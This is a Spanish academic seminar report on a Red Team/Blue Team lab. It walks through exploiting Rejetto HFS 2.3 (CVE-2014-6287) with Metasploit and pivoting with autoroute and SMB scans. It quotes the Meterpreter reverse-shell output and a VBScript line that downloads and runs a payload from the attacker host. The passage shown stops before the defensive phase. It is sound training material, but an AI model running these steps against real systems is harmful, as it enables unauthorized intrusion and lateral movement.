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Resumen
El presente informe integra los resultados obtenidos durante las cuatro etapas del seminario de
Red Team y Blue Team, desarrolladas en un entorno virtualizado y controlado. En la primera
etapa se realizé el montaje del laboratorio mediante la configuracion de maquinas virtuales,
creando una red aislada que permitioé simular un entorno real sin poner en riesgo sistemas
externos. La segunda etapa abordd el marco ético y legal que regula las actividades de
ciberseguridad en Colombia, destacando la importancia de actuar bajo principios de
responsabilidad, consentimiento y legalidad. En la tercera etapa se ejecutaron estrategias de Red
Team enfocadas en la identificacion y explotacion de una vulnerabilidad en una estacién de
trabajo, lo que permitio simular un acceso no autorizado y evidenciar movimiento lateral hacia
otro equipo. Finalmente, en la cuarta etapa se aplicaron estrategias de Blue Team orientadas a la
contencidn del incidente, el aislamiento del equipo comprometido y la implementacion de
medidas de endurecimiento para prevenir futuros ataques. Este proceso permitié comprender el
ciclo completo de un incidente de seguridad y fortalecer competencias técnicas, analiticas y
éticas necesarias para la proteccion de la informacidn en entornos organizacionales.
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Abstract
This report integrates the results obtained throughout the four stages of the Red Team and Blue
Team seminar, conducted within a virtualized and controlled environment. In the first stage, the
laboratory setup was completed through the configuration of virtual machines, establishing an
isolated network that enabled the simulation of a real operational environment without exposing
external systems to risk. The second stage focused on analyzing the ethical and legal framework
that governs cybersecurity activities in Colombia, emphasizing the importance of acting under
principles of responsibility, consent, and legality. During the third stage, Red Team strategies
were carried out, centered on identifying and exploiting a vulnerability in a workstation, which
allowed simulating unauthorized access and demonstrating lateral movement toward another
device within the network. Finally, the fourth stage applied Blue Team strategies aimed at
incident containment, isolation of the compromised system, and the implementation of hardening
measures to prevent recurrence. This process provided a comprehensive understanding of the full
lifecycle of a security incident and strengthened the technical, analytical, and ethical
competencies required for effective information protection in organizational environments.

Keywords: BlueTeam, cybersecurity, hardening, pentesting, RedTeam
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Glosario
Amenaza:
Posible evento o situacion que puede causar dafio a un sistema de informacion, ya sea por accion
humana, falla técnica o evento natural.
Analisis forense digital:
Proceso mediante el cual se recopilan, preservan, analizan y documentan evidencias digitales con
el objetivo de identificar las causas y consecuencias de un incidente de seguridad.
Blue Team:
Equipo encargado de la defensa de los sistemas, la deteccion de amenazas y la contencién de
ataques, implementando medidas de seguridad y monitoreo continuo.
Ciberseguridad:
Conjunto de préacticas, politicas y herramientas destinadas a proteger los sistemas, redes y datos
frente a ataques, accesos no autorizados o dafios.
CSIRT (Computer Security Incident Response Team):
Equipo especializado en la respuesta a incidentes de seguridad informatica, encargado de
investigar, contener y coordinar acciones frente a una amenaza.
Explotacién:
Fase del ataque donde se aprovecha una vulnerabilidad para obtener acceso no autorizado a un
sistema o ejecutar acciones maliciosas.
Firewall:
Sistema de seguridad que controla el trafico de red entrante y saliente, permitiendo o blogueando
conexiones segun reglas establecidas.

Hardening (Endurecimiento):



Proceso de fortalecimiento de la seguridad de un sistema mediante la eliminacion de
configuraciones inseguras, servicios innecesarios y la aplicacién de controles de proteccion.
Host:

Dispositivo conectado a una red, como una computadora o servidor, que puede enviar y recibir
informacion.

Ingenieria social:

Técnica utilizada por atacantes para manipular a las personas y obtener informacion o acceso a
sistemas mediante engafio.

Laboratorio virtual:

Entorno simulado creado con maquinas virtuales que permite realizar pruebas de seguridad sin
afectar sistemas reales.

Metasploit:

Framework utilizado para realizar pruebas de penetracion, que permite ejecutar exploits y
obtener acceso a sistemas vulnerables.

Nmap:

Herramienta usada para escanear redes, identificar dispositivos, puertos abiertos y servicios
activos.

Pentesting (Pruebas de penetracion):

Proceso controlado de simulacion de ataques con el fin de identificar vulnerabilidades en un
sistema, red o aplicacion.

Pivoting (Movimiento lateral):

11

Técnica que permite al atacante desplazarse desde un sistema comprometido hacia otros equipos

dentro de la misma red.
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Red Team:

Equipo encargado de simular ataques reales contra una organizacion para evaluar su nivel de
seguridad.

Red aislada:

Segmento de red separado del resto que se utiliza para pruebas controladas, sin conexion a redes
externas.

Recoleccion de evidencias:

Proceso de obtencion de informacion digital relacionada con un incidente para su analisis y
documentacion.

Rejetto HFS:

Aplicacion vulnerable utilizada en este ejercicio como vector de ataque para obtener acceso no
autorizado al sistema.

SIEM (Security Information and Event Management):

Sistema que recopila, analiza y correlaciona eventos de seguridad provenientes de diferentes
dispositivos y aplicaciones.

Sistema vulnerable:

Equipo o aplicacidn que posee debilidades de seguridad que pueden ser explotadas por un
atacante.

Vulnerabilidad:

Debilidad en un sistema, red o software que puede ser aprovechada para comprometer su

seguridad.
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Introduccion

La ciberseguridad se ha convertido en un componente esencial para la proteccion de la
informacidn y la continuidad de las operaciones en las organizaciones. EI aumento constante de
las amenazas digitales ha generado la necesidad de formar profesionales capaces de identificar
vulnerabilidades, prevenir ataques y responder de manera oportuna ante incidentes de seguridad.
En este contexto, los equipos Red Team y Blue Team representan dos enfoques complementarios
que permiten evaluar y fortalecer la seguridad de los sistemas de informacion.

El presente informe se desarrolla a partir del caso de estudio SecureNova Labs,
integrando las cuatro fases del seminario en un entorno de laboratorio virtual. En la primera fase
se configurd un ambiente aislado mediante maquinas virtuales, lo que permitid ejecutar pruebas
de manera segura y controlada. Luego, en la segunda fase, se analizaron los principios éticos y el
marco normativo que regulan las actividades en ciberseguridad en Colombia, resaltando la
importancia de actuar con responsabilidad, consentimiento y legalidad.

En la tercera fase se aplicaron estrategias propias del Red Team, enfocadas en la
identificacion y explotacion de una vulnerabilidad en una estacion de trabajo, simulando un
acceso no autorizado y evidenciando el riesgo que representa una mala configuracion del
sistema. Finalmente, en la cuarta fase se implementaron acciones propias del Blue Team,
orientadas a la contencion del incidente, el aislamiento del equipo comprometido y la aplicacién
de medidas de endurecimiento, con el proposito de evitar la repeticion del ataque.

De esta manera, el trabajo permite comprender el ciclo completo de un incidente de
seguridad y fortalecer las competencias técnicas, analiticas y éticas necesarias para la proteccién

de la informacién en entornos organizacionales.
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Justificacion

La eleccion de este tema surge de la necesidad de comprender, desde una perspectiva
practica y académica, como las organizaciones pueden enfrentar de manera efectiva las
crecientes amenazas en el entorno digital. Actualmente, los ataques informaticos representan un
riesgo real para la seguridad de la informacion, la continuidad de los servicios y la confianza de
los usuarios, por lo que resulta fundamental analizar las estrategias utilizadas para detectar,
contener y prevenir este tipo de incidentes. En este sentido, el estudio del rol que desempefian los
equipos Red Team y Blue Team en la proteccion de los sistemas de informacion se convierte en
una herramienta clave para fortalecer las capacidades de respuesta ante posibles
vulnerabilidades.

Asimismo, existe una limitada investigacion aplicada en contextos académicos que
integre de forma préactica el ciclo completo de un ataque y su posterior defensa, desde el
reconocimiento de vulnerabilidades hasta la implementacion de medidas de endurecimiento
(hardening). Por esta razon, el desarrollo de este trabajo, tomando como referencia el caso de
SecureNova Labs y un entorno de laboratorio controlado, permite aportar un enfoque mas
cercano a la realidad, basado en la simulacién de escenarios reales y el uso de herramientas de
ciberseguridad.

Finalmente, este trabajo se justifica por su aporte tanto al &mbito académico como al
profesional, ya que los conocimientos adquiridos pueden ser utilizados como base para la
creacion de estrategias de proteccion en entornos reales, el fortalecimiento de politicas de
seguridad y la formacion de profesionales méas conscientes, responsables y comprometidos con la

proteccién de la informacion.
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Objetivos
Objetivo General

Analizar de manera integral el trabajo de los equipos Red Team y Blue Team en un
entorno simulado, a partir del caso SecureNova Labs, mediante la identificacion de
vulnerabilidades, la ejecucion de un ataque controlado, la aplicacion de medidas de contencion y
la consideracidn del marco ético y legal en ciberseguridad.

Objetivos Especificos

Configurar un laboratorio virtual aislado para realizar de pruebas de ciberseguridad, de
forma controlada.

Analizar el marco ético y normativo que regula las préacticas de seguridad informaética en
Colombia, reconociendo la importancia de la legalidad, la responsabilidad profesional y el
consentimiento en las actividades de andlisis y prueba.

Aplicar estrategias propias del Red Team para identificar y explotar vulnerabilidades en
una estacion de trabajo, simulando un acceso no autorizado y evidenciando las debilidades
presentes en la configuracion del sistema.

Implementar estrategias del Blue Team orientadas a la deteccidn, contencion y mitigacién
del incidente de seguridad, mediante el aislamiento del equipo comprometido y la aplicacion de
medidas de endurecimiento (hardening).

Evaluar el impacto del ataque simulado sobre el entorno de laboratorio, identificando
riesgos, amenazas Yy posibles consecuencias para la informacion y los sistemas.

Proponer recomendaciones y buenas practicas que permitan fortalecer la seguridad del
entorno analizado, prevenir futuros ataques y mejorar la capacidad de respuesta frente a

incidentes.
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Desarrollo del Informe Técnico
Estrategias Red Team
Reconocimiento.

Para iniciar la fase de reconocimiento definimos primero el segmento de red donde
trabajaremos y luego realizamos la inspeccion desde la maquina atacante. En Parrot obtuvimos la
direccion IP con ip a 192.168.100.10; mascara /24 (255.255.255.0), por lo que el rango local
utilizado fue 192.168.100.XX. Esta configuracion nos permitio planear los escaneos y la
recoleccion de evidencia sobre los hosts del laboratorio.

Figura 1
Verificacion de la direccion IP en el equipo atacante (Parrot OS)

Parrot Terminal

w Search Terminal Help

Nota: La imagen muestra la validacion de la configuracion de red del equipo atacante durante la
fase de reconocimiento del laboratorio, donde se comprueba la asignacion de la direccion IP

dentro del entorno virtual aislado. Elaboracion propia.
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La estacion Windows 7 (Host-A) fue verificada dentro del mismo segmento de laboratorio;
su direccion IP asignada es 192.168.101.12 con méscara /24 (255.255.255.0), perteneciente al
rango 192.168.101.XXX. Esta configuracion de red permitié correlacionar facilmente las
pruebas de escaneo y las capturas de trafico con la maquina victima, facilitando la identificacion
de servicios expuestos y la recoleccion de evidencia para el analisis forense.

Figura 2

Verificacion de la configuracion IP del equipo victima (Host-A — Windows 7)

Administrador: C:\Windows\system32\cmd.exe =n = [@

Microsoft Windows [Uersion 6.1.760611
Copyright (c)> 2089 Microsoft Corporation. Reservados todos los derechos.

mi»

C:\Users\usuario>ipconfig

Configuracion IP de Windows

Adaptador de Ethernet Conexidn de area local:

Sufijo DNS especifico para la conexidn. . :

Uinculo: direccidn IPu6 local. . . : fe8B::4842:9ce4:4e38:7898x11
Direccién IPv4. . . . . . . . : 192.168.101 .12
Miscara de subred . . . . . . . = 255.255.255.08

Puerta de enlace predeterminada s

Adaptador de tdnel isatap.{S5BESBED2-2B@4-4799-BEB3-D289D73C2460>:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexion. . =

C:\Users\usuario>

Nota: La imagen muestra la validacion de la direccion IPv4 del equipo Host-A dentro del
entorno de laboratorio, confirmando su correcta integracion al segmento de red utilizado en la
simulacion del incidente de seguridad. Elaboracion propia.

El equipo identificado como Host-B fue verificado dentro del entorno de laboratorio,
confirmando que cuenta con la direccién IPv4 192.168.101.13 y una mascara de red
255.255.255.0. Esta validacion permitio corroborar que el dispositivo se encontraba en el mismo
segmento de red que el Host-A, lo que facilito el analisis del movimiento lateral (pivoting)
durante el ejercicio controlado, asi como la posterior evaluacion del impacto y las acciones de

contencién realizadas por el Blue Team.
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Figura 3

Verificacion de la configuracion IP del equipo Host-B utilizado en el pivoting

B Administrador: C:\Windows\system32\cmd.exe =n|E] ‘@

Microsoft Windows [Uersion 6.1.76011]
Copyright (c)> 2889 Microsoft Corporation. Reservados todos los derechos.

ml »

C:\Users\Administrador>ipconfig

Configuracién IP de Windouws

Adaptador de Ethernet Conexidén de area local:

Sufijo DNS especifico para la conexidn. . :
Uinculo: direccidn IPu6 local. . . : fe8@::a927:h5fB:f6eb:1a24x11

Direccién IPuv4 192.168.101.13
Miscara de subred : 255.255.255.8
Puerta de enlace predeterminada :

Adaptador de tidnel isatap.{5BESBED2-9B@4-4799-BEB3-D289D73C2460>:

Estado de los medios. . . . . . . . . . . & medios desconectados
Sufijo DNS especifico para la conexidn. . =

C:\Users\Administrador>

Nota: La imagen muestra la validacion de la direccion IPv4 del equipo Host-B dentro del
entorno de laboratorio, el cual fue utilizado para evidenciar el movimiento lateral (pivoting)
durante la simulacién del ataque. Elaboracion propia.

En la figura 4 muestra la ejecucién del comando ipconfig en la maquina donde esta
instalado y ejecutandose el servidor vulnerable Rejetto HFS 2.3. En esta salida se observan dos
interfaces de red activas, cada una conectada a una subred distinta del laboratorio:

La primera interfaz posee la direccion 1Pv4 192.168.101.20, correspondiente a la red
interna donde se encuentra Host-A y Host-B.

La segunda interfaz utiliza la direccion IPv4 192.168.100.20, red en la que se encuentra la

maquina atacante Parrot OS.
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Figura 4

Verificacion de la configuracion IP del equipo con servicio vulnerable (Rejetto HFS)

Administrador: C:\Windows\system32\cmd.exe |_E_H__@_'@
Microsoft Windows [Uersion 6.1.76011] 5

[Copyright {(c) 280? Microsoft Corporation. Reservados todos los derechos.

m

>:\Users\usuario>ipconfig

Jonfiguracidn IP de Windows

ljdaptador de Ethernet Conexidn de drea local 2:

Sufijo DNS especifico para la conexidn. . :

Uinculo: direccién IPvb local. . . : ::e459:4d3:e2a6:3a19213
Direccién IPv4. . . . . . . . . . . . . . :192.168.101.20
Miscara de subred . . . . . . . . . . . . = 255.255.255.0
Puerta de enlace predeterminada . . . . . =

Adaptador de Ethernet Conexidn de area local:

Sufijo DNS especifico para la conexién. . :

Uinculo: direccién IPvu6 local. . . : f tza9@2:dla5:5e22:4dfex11
Direccién IPv4. . . . . . . . . . . . . . :192.168.100.20
Miscara de subred . . . . . . . . . . . . = 255.255.255.0

Faerra deeniate predecermniiiada oo

Adaptador de tinel isatap.{2E74FB31-32B6-4627-B66A-36B7F?3E6B55>:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexién. . :

Adaptador de tdnel isatap.{SBESBED2-9B04-4799-BEB3-D289D73C2460>:
Nota: La figura 4 muestra la validacion de la direccion IPv4 del equipo donde se encontraba
instalado el servicio Rejetto HFS, utilizado como punto de anélisis de vulnerabilidades dentro del
entorno de laboratorio. Elaboracién propia.
Verificacion de Conectividad desde Host-A hacia Rejetto HFS
La figura 5 muestra una prueba de conectividad realizada desde Host-A, utilizando el
comando ping hacia la direccion 192.168.101.20, que corresponde a una de las interfaces de red

de la maquina donde esté instalado el servidor vulnerable Rejetto HFS 2.3.
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Figura 5

Conectividad desde Host-A hacia Rejetto HFS

B Win7-SE2020-X64 Host A [Running] - Oracle VM VirtualBox
A

Rejjeto 123456 Equipo

B Administrator: Command Prompt

ndows [Versior

** oft Corporat
2] ¥ e

Windows\S
Firefox

Panel de control

Nota: La imagen muestra la comprobacion de conectividad desde Host-A hacia la direccion IPv4
192.168.101.20, correspondiente al equipo con el servicio Rejetto HFS dentro del entorno de
laboratorio, confirmando la comunicacion entre ambos dispositivos en la red interna.
Elaboracion propia.

La figura 6 confirma que Host-A puede acceder sin limitaciones al servicio HFS,
validando que el servidor web esta escuchando correctamente y se encuentra expuesto dentro de

lared 192.168.101.0/24.
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Figura 6
Conectividad web desde Host-A hacia Rejetto HFS

& o 5|
™
« C @ 0] 192.168.101.2 ®© o n o =
8 use
No files in this folder
@ Search
90
Al Invert Mask
0 kems sekected
b Ac
Archive Get list
¥ Ser T
rver 13,
Q@ ko ESFUCE v

Nota: La imagen muestra la interfaz del servidor Rejetto HFS visualizada a través del navegador
en el entorno de laboratorio, evidenciando que el servicio se encontraba activo y accesible dentro
de la red interna simulada. Elaboracion propia.
Verificacién de Conectividad desde Host-B hacia el Servidor Rejetto

La figura 7 muestra una prueba de conectividad realizada desde Host-B, utilizando el
comando ping hacia la direccion IP 192.168.101.20, correspondiente a la interfaz de red del

servidor donde se ejecuta Rejetto HFS 2.3.
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Figura7

Conectividad desde Host-B hacia Rejetto HFS

B

REj) eto_lﬁﬁ§6

[E5] Command Prompt > =5 ~
Microsoft Windows [Version 10.0.22631.6199]
(c) Microsoft Corporation. ALl rights reserved.

5 C:\Users\admin>ping 192.168.101.20
Firefox
Pinging 192.168.101.20 with 32 bytes of data:
Reply from 192.168.101.20: bytes=32 time=1lms TTL=128
Reply from 192.168.101.20: bytes=32 time<lms TTL=128
E‘ Reply from 192.168.101.20: bytes=32 time<lms TTL=128
— Reply from 192.168.101.20: bytes=32 time=7ms TTL=128
Panel de control
Ping statistics for 192.168.101.20:
Packets: Sent = U4, Received = 4, Lost = ©® (8% loss),
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = 7ms, Average = 2ms

C:\Users\admin>

Nota. La imagen muestra la comprobacion de conectividad desde el equipo Host-B hacia la
direccion IPv4 192.168.101.20, correspondiente al servidor Rejetto HFS dentro del entorno de
laboratorio, confirmando la comunicacion entre ambos dispositivos. Elaboracion propia.

La figura 8 demuestra que Host-B tiene conectividad directa hacia el servidor Rejetto a
través de la red interna 192.168.101.0/24. Ademas, confirma que el servicio HTTP vulnerable
estd expuesto a otros equipos de la red, permitiendo la futura fase de reconocimiento,

enumeracion y explotacion desde diferentes maquinas del laboratorio



Figura 8
Conectividad Web desde Host-B hacia Rejetto HFS
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Nota: La imagen muestra la interfaz del servidor Rejetto HFS visualizada desde el navegador del

equipo Host-B dentro del entorno de laboratorio, evidenciando que el servicio se encontraba

activo y accesible en la red interna simulada. Elaboracion propia.

Conectividad desde Parrot OS (Méaquina Atacante) hacia el Servidor Rejetto

La figura 9 confirma que la maquina atacante tiene conectividad total hacia el servidor

Rejetto en la red 192.168.100.0/24. Esto valida el punto de entrada del atacante y garantiza que

la superficie de ataque esta disponible para iniciar las fases de reconocimiento activo,

enumeracion de puertos y eventual explotacion del servicio vulnerable.
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Figura 9

Conectividad desde Parrot OS hacia Rejetto

Nota: La imagen muestra la comprobacion de conectividad realizada desde el equipo Parrot OS
hacia la direccion IPv4 192.168.100.20, confirmando la comunicacion con un host dentro del
segmento de red utilizado en el laboratorio simulado. Elaboracion propia.
Identificacion de la Vulnerabilidad
Configuracion del exploit Rejetto HFS en Metasploit

La figura 10 muestra la ejecucion del comando: netstat -ano | find 80", Esta evidencia
confirma que el servidor Rejetto esta efectivamente exponiendo el puerto 80/TCP, lo que habilita
la superficie de ataque requerida para el analisis de vulnerabilidades. El uso de netstat permite
verificar que el servicio esta escuchando en todas las interfaces (0.0.0.0), lo que implica que
cualquier maquina dentro de las redes configuradas puede establecer conexion con el servidor,

facilitando el reconocimiento, enumeracion y explotacion del fallo.
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Figura 10
Verificacion de Puertos en la Maquina Rejetto mediante Netstat

ZA Administrador: Ch\Windowshsyster32\cmd. exe === @

s gg[gade cliente DHCPub : BA-91-08-P1-26-88-7D-18-08-BB—27—
Servidores DNE : fecB:@:@:ffff::ix1
fecA:B:@:ffFFfz:221
fecA:B:B:ffFfz:321
NetBIOS sobre TCP/IP : habilitado

Adaptador de tdnel isatap.{SBESBED2-9BB4-4797-BEB3-D289D73C246083:

Eztado de los medios. . . - . . . . . . . & medios desconectados

Sufijo DNS especifico para la conexidn. . :

Descripcidn : Adaptador ISATAP de Microsoft
Direccidn fisica : Al—PA-AP—PR-PE-BB-BE-EB

DHCP hahbhilitado

Configuracidn automdtica habilitada . . . :

C:sUserssusuarionetstat —ano 124 | find 887
FIND: formato de parametros incorrecto

"
C:s\Userssusuario?netstat —ano | find "88"
TCP 6.8.8.8:80 6.8.8.8:8 LISTENING
uDpp B.8.8.8:49680 -1
UDp [feBA::a?B82:d1a5:5e22:4dfex111:1980 ===

[feBP::a?B2:dlab:5e22:4dfex111:64616 ==
[feBA::e459:4d3e2ab:3a19x181:19080 x:-x
[feBA::e459:4d3e2abh:3al19«181:64615 ===

C-sUzerssuzuario?

Nota: La imagen muestra la verificacion de servicios activos en el equipo donde se encuentra
instalado el servidor Rejetto HFS, evidenciando un proceso escuchando sobre el puerto 80 dentro
del entorno de laboratorio simulado. Elaboracién propia.

En la figura 11, se ejecuta el comando nmap -sV -p 80 192.168.100.20, realizado desde
Parrot OS, la maquina atacante del laboratorio.

Este comando tiene dos funciones clave:

o -p 80: examina exclusivamente el puerto 80/TCP.

. -sV: identifica la version del servicio que se ejecuta en ese puerto.

Esta evidencia demuestra que la maquina atacante ha podido enumerar el servicio

expuesto en el puerto 80 y obtener la versidn exacta del servidor web HttpFileServer httpd 2.3.
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Figura 11

Escaneo de Puertos en la Maquina Rejetto mediante Netstat

[ N J Parrot Terminal

Edit View Search Terminal Help

Nota: La imagen muestra la deteccion de un servicio HTTP activo en la direccion
192.168.100.20 a traves de una herramienta de escaneo utilizada en el entorno de laboratorio,
confirmando la disponibilidad del servicio dentro del segmento de red simulado. Elaboracién
propia.
Inicializacién de Metasploit (msfdb) y Ejecucion de msfconsole en Parrot OS

La figura 12 muestra la ejecucion de Metasploit Framework en Parrot OS, tras iniciar la
consola con el comando: sudo msfconsole. Posteriormente, buscamos médulos relacionados con
el servidor objetivo ejecutando: search hfs

Este comando es utilizado para identificar exploits 0 modulos auxiliares asociados a Rejetto

HFS (HttpFileServer), la aplicacion vulnerable presente en la maquina objetivo.
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Figura 12

Ejecucion de msfconsole en Parrot OS

200 Parrot Terminal

File Edit View Search Terminal Help

Nota: La imagen muestra la apertura del framework Metasploit en el entorno de laboratorio,
utilizado de manera controlada para el analisis de vulnerabilidades asociadas al servicio Rejetto
HFS. Elaboracion propia.

En la figura 13, podemos visualizar que tras la busqueda, Metasploit devuelve una lista de
coincidencias bajo “Matching Modules”, dentro de la cual se destacan dos exploits directamente
relacionados con vulnerabilidades de Rejetto HFS:

1. exploit/windows/http/rejetto_hfs_rce _cve 2024 23692

Fecha de divulgacion: 2024-05-25

Rango: excellent

Check support: Yes
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Descripcion: Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution.
Este exploit permite ejecutar codigo remoto sin autenticacion sobre servidores HFS
vulnerables, representando un riesgo critico.

2. exploit/windows/http/rejetto_hfs_exec

Fecha de divulgacion: 2014-09-11

Rango: excellent

Check support: Yes

Descripcion: Rejetto HttpFileServer Remote Command Execution.

Este exploit corresponde a la vulnerabilidad clasica CVE-2014-6287, ampliamente
utilizada para comprometer servidores HFS 2.3 mediante manipulacion del parametro
search.

Figura 13
Identificacion del Exploit para Rejetto HFS en Metasploit

s System @ F B

Browse and run installed applications

at' Help
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Nota: La imagen muestra la busqueda de modulos relacionados con el servicio Rejetto HFS
dentro del framework Metasploit, realizada en un entorno de laboratorio controlado con fines de
analisis de vulnerabilidades. Elaboracidn propia.
Explotacion Controlada

Metasploit muestra los modulos disponibles para explotar HFS. Procedemos a seleccionar
el exploit asociado a CVE-2014-6287, mediante el comando: use 4, Esto carga el médulo:
exploit/windows/http/rejetto_hfs_exec, validado en la figura 14

Figura 14
Seleccidn del Exploit Rejetto HFS en Metasploit

C,Acpiacat:cng Places System U S !
X N

File Edit View Search Terminal Help

Nota: La imagen muestra la seleccion de un médulo dentro del framework Metasploit para el
analisis controlado de una vulnerabilidad asociada al servicio Rejetto HFS en el entorno de
laboratorio. Elaboracién propia.

En la figura 15 se observa el uso del médulo exploit/windows/http/rejetto_hfs_exec en

Metasploit. Se configuraron los parametros RHOSTS, LHOST y LPORT para apuntar al Host-A
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vulnerable (192.168.100.20). La imagen evidencia el inicio del servidor malicioso utilizado para
entregar el payload meterpreter, necesario para la toma inicial de control.

Figura 15
Configuracion del Exploit en Metasploit (HFS Rejetto)

File Edit View Search Terminal Help

Metasploit Documentation

:0)

Nota: La imagen evidencia la ejecucion controlada de un mddulo de prueba dentro de un entorno
de laboratorio cerrado, con el fin de simular la explotacién de una vulnerabilidad asociada al
servicio Rejetto HFS. Elaboracién propia.

En la figura 16 evidencia la fase de explotacion donde la maquina Parrot OS (atacante)
ejecuta el mddulo exploit/windows/http/rejetto_hfs_exec contra el servidor vulnerable Rejetto
HFS alojado en la direccion 192.168.100.20.

Al ejecutar el comando: run, Metasploit inicia el proceso del exploit y se observan los
siguientes eventos clave:

Inicializacion del Handler: Started reverse TCP handler on 192.168.100.10:4444

El framework configura el listener para recibir la conexién inversa del payload Meterpreter

desde la victima.
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Envio de la Peticion Maliciosa

Using URL.: http://192.168.100.10:8080/yrvmbZ

Sending a malicious request to /

El exploit genera una carga maliciosa encapsulada en una peticion HTTP dirigida a Rejetto
HFS, aprovechando la vulnerabilidad de ejecucion remota de comandos.

Transferencia del Payload

Payload request received: /yrvmbZ

Sending stage (177734 bytes) to 192.168.100.20

El servidor HFS vulnerable descarga y ejecuta la segunda etapa del payload (Meterpreter).

Ejecucion y Apertura de la Sesion

Meterpreter session 1 opened (192.168.100.10:4444 -> 192.168.100.20:51479)

Esto confirma que la victima ha ejecutado el payload, otorgando a la maquina atacante una
sesion remota Meterpreter completamente funcional, con control del sistema.

Figura 16

Ejecucion del Exploit contra Rejetto HFS y Obtencidn de Sesion Meterpreter

Nota: La imagen muestra el establecimiento de una sesion remota como resultado de la

simulacion controlada de una vulnerabilidad presente en el servicio Rejetto HFS, dentro de un
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entorno de laboratorio aislado. Esta actividad permitio validar el impacto potencial de una brecha
de seguridad no mitigada. Elaboracion propia.
Creacion del Usuario en Host-A (Victima)

En la sesion se observa la ruta: (C:\Users\usuario\Desktop\Rejeto 123456), lo cual
confirma acceso al escritorio de la maquina victima, validando la explotacién exitosa.
Envio de la Sesién al Background

Con el comando background, se envia la sesion 1 a segundo plano, permitiendo continuar
con otras acciones dentro de Metasploit (post-exploitation, enumeracion, escalamiento o
pivoting).

En la figura 17 podemos ver la interfaz del servidor vulnerable Rejetto HFS 2.3 (Build
288) ejecutandose en la maquina objetivo Host-A (192.168.100.20). En la parte derecha se
visualiza el log detallado de solicitudes HTTP recibidas por el servidor, lo cual constituye
evidencia directa de la explotacion realizada desde Metasploit.

Figura 17
Registro de actividad en Rejetto HFS 2.3
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En el registro de actividad se observan:

o Solicitudes GET provenientes de la maquina atacante (192.168.100.10).

A lo largo del log aparecen multiples solicitudes GET dirigidas al servidor, indicando la
fase inicial de reconocimiento del servicio HFS. Estas peticiones son generadas automaticamente
por el modulo rejetto_hfs_exec de Metasploit para validar que el servidor esta activo y
respondiendo correctamente.

192.168.100.10:33936 Requested GET /
192.168.100.10:34715 Requested GET /?search=

o Solicitudes GET provenientes de la maquina en la segunda subred
(192.168.101.12/101.11)

Estas entradas reflejan que otras maquinas dentro del entorno virtual estan interactuando
o reconociendo el servidor web, lo cual muestra coherencia con la topologia del laboratorio y la
accesibilidad del servicio HFS a través de la red interna.

. Evidencia del payload ejecutado
En el log se visualiza claramente la instruccion maliciosa enviada durante la explotacion:

X.Open+"GET","http://192.168.100.10:8080/0V2Ixj5urKL",False
Execute+x.responseText

Este fragmento corresponde al script VBScript que el exploit utiliza para descargar y
ejecutar el payload desde la méaquina atacante, confirmando la ejecucion remota de c6digo en
Host-A.

o Timestamps precisos del ataque

La captura incluye marcas de tiempo entre las 08:42 p.m. y 09:58 p.m., (tiles para la

trazabilidad forense.
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Identificacion de hora exacta del exploit
Validacion del momento en que el payload fue obtenido y ejecutado
Correlacion con logs de Metasploit y PCAPs
o Evidencia de éxito en la explotacion
La aparicion de estas lineas confirma que el servidor proceso el payload sin validacion de
seguridad, caracteristica de la vulnerabilidad HFS 2.3 (CVE-2014-6287), y nos permite
demostrar que:
El exploit fue recibido
El script fue interpretado por el servidor
La ejecucion remota de codigo resultd exitosa
Se habilité la sesion Meterpreter en Host-A
Movimiento Lateral
Uso de post/multi/manage/autoroute para pivoting

La figura 18 muestra la ejecucion del médulo autoroute para agregar rutas hacia la subred
192.168.101.0/24, donde reside host-b. Al establecer session 1, el modulo identifica
automaticamente las rutas disponibles desde el sistema comprometido y las integra en la tabla del
handler. Esto habilita el acceso indirecto a la segunda red interna a través de host-a.

En esta fase se realiz6 una simulacion de movimiento lateral desde el equipo inicialmente
comprometido hacia una segunda subred del laboratorio. Este proceso tuvo como objetivo
evidenciar como un atacante podria desplazarse entre segmentos de red si no existen controles
efectivos de segmentacion, monitoreo y restriccion de trafico interno. Este resultado reforzé la
importancia de aplicar principios como la microsegmentacion, el control de rutas internas y el

monitoreo continuo por parte del Blue Team.
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Figura 18

Establecimiento de rutas internas para la simulacién de movimiento lateral en el laboratorio

C:\Users\usuario\Desktop\Rejjeto_123456

Nota: La imagen muestra la configuracién de rutas internas dentro de un entorno de laboratorio
controlado, con el proposito de simular un movimiento lateral entre subredes como parte del
ejercicio del Red Team. Esta accidn permitio extender la visibilidad hacia otros segmentos del
entorno simulado, sin afectar sistemas reales ni infraestructuras externas. Elaboracion propia.
Escaneo de la subred 192.168.101.0/24 (portscan)

En esta fase se realiz6 una revision de servicios activos en una segunda subred del
laboratorio, con el objetivo de identificar nuevos puntos de exposicidn tras el desplazamiento
lateral. Este resultado puso en evidencia los riesgos asociados a redes internas sin monitoreo ni
restricciones adecuadas, resaltando la importancia de aplicar controles de segmentacion, listas de

control de acceso y deteccion de trafico andmalo por parte del Blue Team.
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Figura 19

Escaneo de servicios en una subred interna durante la simulacion de movimiento lateral

Nota: La imagen evidencia la ejecucion de un escaneo de servicios sobre una subred interna del
laboratorio, realizado después de la simulacién de movimiento lateral. Esta actividad permitid
identificar posibles servicios expuestos en otros equipos del entorno simulado. Elaboracion
propia.

En la figura 20 se observa el uso del médulo de Metasploit auxiliary/scanner/portscan/tcp
para escanear los puertos 135, 139, 445 y 3389 de todos los hosts de la subred de destino. Los
resultados muestran que multiples hosts responden en puertos SMB (139/445), confirmando la

presencia de servicios potencialmente vulnerables o accesibles para moverse lateralmente.
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Figura 20

Resultados del escaneo de servicios en la subred interna durante la simulacion de movimiento
lateral

Nota: La imagen presenta los resultados del escaneo de servicios realizado sobre la subred
interna del laboratorio, en el cual se evidenciaron varios hosts con puertos abiertos y servicios
activos. Esta actividad se llevé a cabo en un entorno completamente controlado como parte del
analisis de exposicidn posterior al movimiento lateral. Elaboracion propia.
Identificacion del sistema mediante smb_version

En la figura 21 se muestra la utilizacion del médulo scanner/smb/smb_version contra el host
192.168.101.13. Se identifica que el sistema objetivo ejecuta Windows 7 Professional SP1,
confirmando compatibilidad con psexec y otras técnicas de acceso remoto por SMB. Esta

informacidn permite preparar el ataque lateral correctamente.
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Figura 21

Identificacién de servicio SMB activo en un host de la subred interna

Nota: La imagen muestra la deteccion de un servicio SMB activo en el equipo Host B localizado
